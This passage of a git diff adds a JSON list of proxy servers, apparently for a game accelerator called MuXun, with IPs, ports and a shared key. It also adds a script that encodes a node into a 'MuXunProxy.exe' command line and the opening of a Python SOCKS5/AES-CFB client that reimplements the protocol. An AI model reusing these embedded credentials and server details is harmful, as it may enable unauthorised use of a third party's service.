"local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "北美专线043", + "server": "117.143.9.35", + "server_port": 22407, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "日服专线616", + "server": "117.143.9.6", + "server_port": 22405, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "日本专线735", + "server": "117.143.9.6", + "server_port": 22406, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "日服专线168", + "server": "210.51.35.138", + "server_port": 22405, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "北美专线846", + "server": "101.227.72.144", + "server_port": 22405, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "北美专线868", + "server": "101.227.72.144", + "server_port": 22404, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "日服专线493", + "server": "103.238.186.102", + "server_port": 22407, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "日本专线246", + "server": "210.51.35.137", + "server_port": 22409, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "日服专线239", + "server": "210.51.35.137", + "server_port": 22411, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "日本专线426", + "server": "103.238.186.102", + "server_port": 22404, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "亚服专线854", + "server": "117.143.9.42", + "server_port": 22404, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "亚服专线354", + "server": "103.238.186.114", + "server_port": 22410, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "亚服专线008", + "server": "103.238.186.113", + "server_port": 22410, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "亚服专线558", + "server": "103.238.186.115", + "server_port": 22411, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "新加坡专线427", + "server": "14.119.67.103", + "server_port": 22404, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "首尔专线5", + "server": "210.51.35.248", + "server_port": 22404, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "首尔专线265", + "server": "202.101.50.1", + "server_port": 22407, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "首尔专线12", + "server": "210.51.35.133", + "server_port": 22407, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "新加坡专线850", + "server": "14.119.67.103", + "server_port": 22404, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "新加坡专线666", + "server": "183.232.156.113", + "server_port": 22404, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "亚服专线416", + "server": "43.250.146.218", + "server_port": 22407, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "欧洲专线888", + "server": "106.38.203.3", + "server_port": 22407, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "俄罗斯专线362", + "server": "106.38.203.6", + "server_port": 10009, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线551", + "server": "120.232.206.60", + "server_port": 10003, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线556", + "server": "59.37.81.97", + "server_port": 10001, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线537", + "server": "14.17.92.154", + "server_port": 10001, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线277", + "server": "120.232.206.63", + "server_port": 10002, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线584", + "server": "122.13.18.49", + "server_port": 10002, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线38", + "server": "59.37.81.101", + "server_port": 10006, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线752", + "server": "122.13.18.60", + "server_port": 10007, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线186", + "server": "120.232.206.58", + "server_port": 10002, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线986", + "server": "183.60.131.148", + "server_port": 10000, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线173", + "server": "120.232.206.58", + "server_port": 10004, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线158", + "server": "157.148.132.41", + "server_port": 10000, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "北美专线164", + "server": "101.227.72.144", + "server_port": 22407, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "韩国专线164", + "server": "202.101.51.180", + "server_port": 22404, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "韩国专线827", + "server": "202.101.50.6", + "server_port": 22407, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "新加坡专线466", + "server": "14.119.67.103", + "server_port": 22406, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "首尔专线384", + "server": "112.54.161.38", + "server_port": 22407, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线716", + "server": "157.148.132.41", + "server_port": 10000, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线617", + "server": "157.148.132.41", + "server_port": 10000, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "香港专线361", + "server": "183.60.131.171", + "server_port": 10003, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "香港专线151", + "server": "157.148.133.141", + "server_port": 10003, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "欧洲专线613", + "server": "223.71.245.177", + "server_port": 22405, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "北美专线842", + "server": "112.54.160.17", + "server_port": 22406, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "台湾专线246", + "server": "111.45.33.43", + "server_port": 10005, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "新加坡专线247", + "server": "14.119.67.103", + "server_port": 22406, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "韩国专线273", + "server": "210.51.35.132", + "server_port": 22405, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "亚服专线352", + "server": "117.143.9.42", + "server_port": 20811, + "method": "aes-256-gcm", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "俄罗斯专线135", + "server": "223.71.245.185", + "server_port": 10008, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "俄罗斯专线945", + "server": "106.38.203.6", + "server_port": 10010, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "亚服专线934", + "server": "103.238.186.112", + "server_port": 22410, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "亚服专线549", + "server": "117.143.9.43", + "server_port": 22407, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "亚服专线249", + "server": "210.51.35.253", + "server_port": 22405, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "日服专线328", + "server": "117.143.9.7", + "server_port": 22405, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "香港专线162", + "server": "59.37.81.97", + "server_port": 10003, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "香港专线635", + "server": "120.241.69.108", + "server_port": 10000, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "香港专线165", + "server": "120.232.206.21", + "server_port": 10007, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "香港专线671", + "server": "183.60.131.171", + "server_port": 10003, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "香港专线824", + "server": "120.232.206.21", + "server_port": 10005, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "香港专线883", + "server": "183.60.131.160", + "server_port": 10002, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "国际专线375", + "server": "122.13.18.55", + "server_port": 10000, + "method": "aes-256-cfb", + "password": "联通", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "国际专线372", + "server": "183.60.131.170", + "server_port": 10001, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "国际专线685", + "server": "120.232.206.62", + "server_port": 10000, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "欧洲专线200", + "server": "223.71.245.176", + "server_port": 22407, + "method": "aes-256-cfb", + "password": "移动", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "欧洲专线9", + "server": "106.38.203.3", + "server_port": 22406, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "日服专线95", + "server": "101.227.83.37", + "server_port": 10002, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + }, + { + "name": "日服专线146", + "server": "101.227.83.37", + "server_port": 10001, + "method": "aes-256-cfb", + "password": "电信", + "local_address": "0.0.0.0", + "local_port": 21180, + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": null, + "PluginOption": "dwz1GtF7", + "ConfigType": 0, + "latency": "N/A" + } +] \ No newline at end of file diff --git a/python/output.txt b/python/output.txt new file mode 100644 index 0000000..b56a300 --- /dev/null +++ b/python/output.txt @@ -0,0 +1 @@ +MuXunProxy.exe --mx EYjSB2nHBf9HzgrYzxnZiJOGiJaUmc4WlJaIlcaIBg9JywXFCg9YDci6idiXmtGWlcaIC2vYDMvYiJOGiJeYms4Xnc4XntiUmtq5iIWGiNnLCNzLCL9WB3j0iJOGmtaWmdqSicjTzxrOB2qIoIaIywvZlti1nI1JzMiIlcaICgfZC3DVCMqIoIaIzhD6muD0rJCIlcaIBxHFAgvHzf9ZDhiIoIaIy29TlNDPBJy0lM9WCgmUz2fTzs5JB21TB246mJiWmJe3mdKSmtaYmdi0mdGWmdiWntqXmJC5iIWGiLbSDwDPBK5HBwuIoIbUDwXSlcaIugX1z2LUt3b0Aw9UiJOGBNvSBcWGiKnVBMzPz1r5CguIoIaWFq== -u --no-delay --fast-open -zv \ No newline at end of file diff --git a/python/payload.txt b/python/payload.txt new file mode 100644 index 0000000..ab45d16 Binary files /dev/null and b/python/payload.txt differ diff --git a/python/proxy.py b/python/proxy.py new file mode 100644 index 0000000..d8984c1 --- /dev/null +++ b/python/proxy.py @@ -0,0 +1,22 @@ +import base64 +import json + +node = { + "local_address": "0.0.0.0", + "local_port": 21180, + "server": "121.14.152.149", + "server_port": 10004, + "method": "aes-256-cfb", + "password": "dwz1GtF7", + "mx_head_str": "com.win64.oppc.game.common:22021709,102024080020541279", + "PluginName": None, + "PluginOption": None, + "ConfigType": 0, +} + +formatted = f"MuXunProxy.exe --mx {base64.b64encode(json.dumps(node).encode(encoding='utf-8')).decode(encoding='utf-8').swapcase()} -u --no-delay --fast-open -zv" + +print(formatted) + +with open("output.txt", "wb") as F: + F.write(formatted.encode(encoding="UTF-8")) diff --git a/python/settings.json b/python/settings.json new file mode 100644 index 0000000..7d9d525 --- /dev/null +++ b/python/settings.json @@ -0,0 +1,14 @@ +{ + "local_port": 21292, + "tun_settings": { + "tun2socks_path": "C:/Users/Galaxy/PycharmProjects/MuXunGUI/tun2socks.exe", + "tap_name": "MuXunTAP", + "tun_ip": "10.0.0.2", + "tun_mask": "255.255.255.0", + "tun_gw": "10.0.0.1", + "dns": "1.1.1.1", + "mtu": 1500, + "apply_route_dns": false, + "driver": "wintun" + } +} \ No newline at end of file diff --git a/python/ss.py b/python/ss.py new file mode 100644 index 0000000..5c56cf3 --- /dev/null +++ b/python/ss.py @@ -0,0 +1,694 @@ +from __future__ import annotations + +try: + import uvloop # type: ignore + uvloop.install() +except Exception: + pass # 环境不支持就优雅降级 + +import argparse +import asyncio +import hashlib +import ipaddress +import logging +import os +import socket +import struct +import time +from dataclasses import dataclass +from typing import Dict, Optional, Tuple + +try: + from cachetools import TTLCache +except ImportError: + raise SystemExit("cachetools not found. Install with: pip install cachetools") + +try: + # PyCryptodome + from Crypto.Cipher import AES # type: ignore +except Exception as exc: # pragma: no cover - import-time + raise SystemExit( + "PyCryptodome not found. Install with: pip install pycryptodome" + ) from exc + + +try: + # dnslib + from dnslib import DNSRecord, DNSHeader, DNSQuestion, QTYPE +except Exception as exc: # pragma: no cover - import-time + raise SystemExit( + "dnslib not found. Install with: pip install dnslib" + ) from exc + + +# ------------------------------ Configuration ------------------------------ # + +DOMAIN_LISTS = ["google.com", "youtube.com", "github.com", "githubassets.com", "ggpht.com","googlevideo.com","ytimg.com"] + + +@dataclass +class Config: + """Runtime configuration for the client.""" + + remote_host: str + remote_port: int + password: str + mx_head_str: str + listen_host: str = "127.0.0.1" + listen_port: int = 1080 + recv_buf: int = 64 * 1024 + connect_timeout: float = 10.0 + udp_timeout: float = 180.0 # seconds to keep UDP mappings + + +# ------------------------------ Crypto helpers ----------------------------- # + +def kdf_pseudo_evp_bytes_to_key(password: bytes) -> bytes: + """Derive a 32-byte AES-256 key using two-round MD5 (per document). + + Args: + password: raw password bytes. + Returns: + 32-byte key. + """ + h1 = hashlib.md5(password).digest() # first 16 bytes + h2 = hashlib.md5(h1 + password).digest() # second 16 bytes + return h1 + h2 # 32 bytes total + + +class AesCfbStream: + """Stateful AES-256-CFB128 for a single TCP direction (fixed IV).""" + + def __init__(self, key: bytes, iv: bytes) -> None: + assert len(key) == 32, "AES-256 requires 32-byte key" + assert len(iv) == 16, "IV must be 16 bytes" + self._cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) + + def encrypt(self, data: bytes) -> bytes: + return self._cipher.encrypt(data) + + def decrypt(self, data: bytes) -> bytes: + return self._cipher.decrypt(data) + + +# ------------------------------ SOCKS5 parsing ----------------------------- # + +class Socks5Error(Exception): + pass + + +@dataclass +class Socks5Request: + cmd: int + atyp: int + host: str + port: int + + +async def socks5_handshake(reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> None: + """Perform the no-auth SOCKS5 handshake.""" + # Greeting: VER | NMETHODS | METHODS... + data = await reader.readexactly(2) + ver, nmethods = data[0], data[1] + if ver != 5: + raise Socks5Error("Only SOCKS5 is supported") + _ = await reader.readexactly(nmethods) # consume methods + # Reply: VER | METHOD(=0x00 no auth) + writer.write(b"\x05\x00") + await writer.drain() + + +async def socks5_read_request(reader: asyncio.StreamReader) -> Socks5Request: + """Read a SOCKS5 request (CONNECT or UDP ASSOCIATE).""" + header = await reader.readexactly(4) + ver, cmd, _, atyp = header + if ver != 5: + raise Socks5Error("Bad request version") + # Read DST.ADDR + DST.PORT by ATYP + if atyp == 0x01: # IPv4 + addr = await reader.readexactly(4) + host = socket.inet_ntop(socket.AF_INET, addr) + port = struct.unpack("!H", await reader.readexactly(2))[0] + elif atyp == 0x03: # DOMAIN + ln = (await reader.readexactly(1))[0] + host = (await reader.readexactly(ln)).decode("utf-8", "strict") + port = struct.unpack("!H", await reader.readexactly(2))[0] + elif atyp == 0x04: # IPv6 + addr = await reader.readexactly(16) + host = socket.inet_ntop(socket.AF_INET6, addr) + port = struct.unpack("!H", await reader.readexactly(2))[0] + else: + raise Socks5Error(f"Unsupported ATYP {atyp:#x}") + return Socks5Request(cmd=cmd, atyp=atyp, host=host, port=port) + + +def socks5_reply(writer: asyncio.StreamWriter, rep_code: int, bind_host: str, bind_port: int) -> None: + """Send a SOCKS5 reply with the given bind address.""" + try: + ip = ipaddress.ip_address(bind_host) + if isinstance(ip, ipaddress.IPv4Address): + addr = b"\x01" + ip.packed + else: + addr = b"\x04" + ip.packed + except ValueError: + host_b = bind_host.encode("utf-8") + addr = b"\x03" + bytes([len(host_b)]) + host_b + writer.write(b"\x05" + bytes([rep_code]) + b"\x00" + addr + struct.pack("!H", bind_port)) + + +# --------------------------- Address encoding ------------------------------ # + +class AddressEncoder: + """Encode address blocks per the 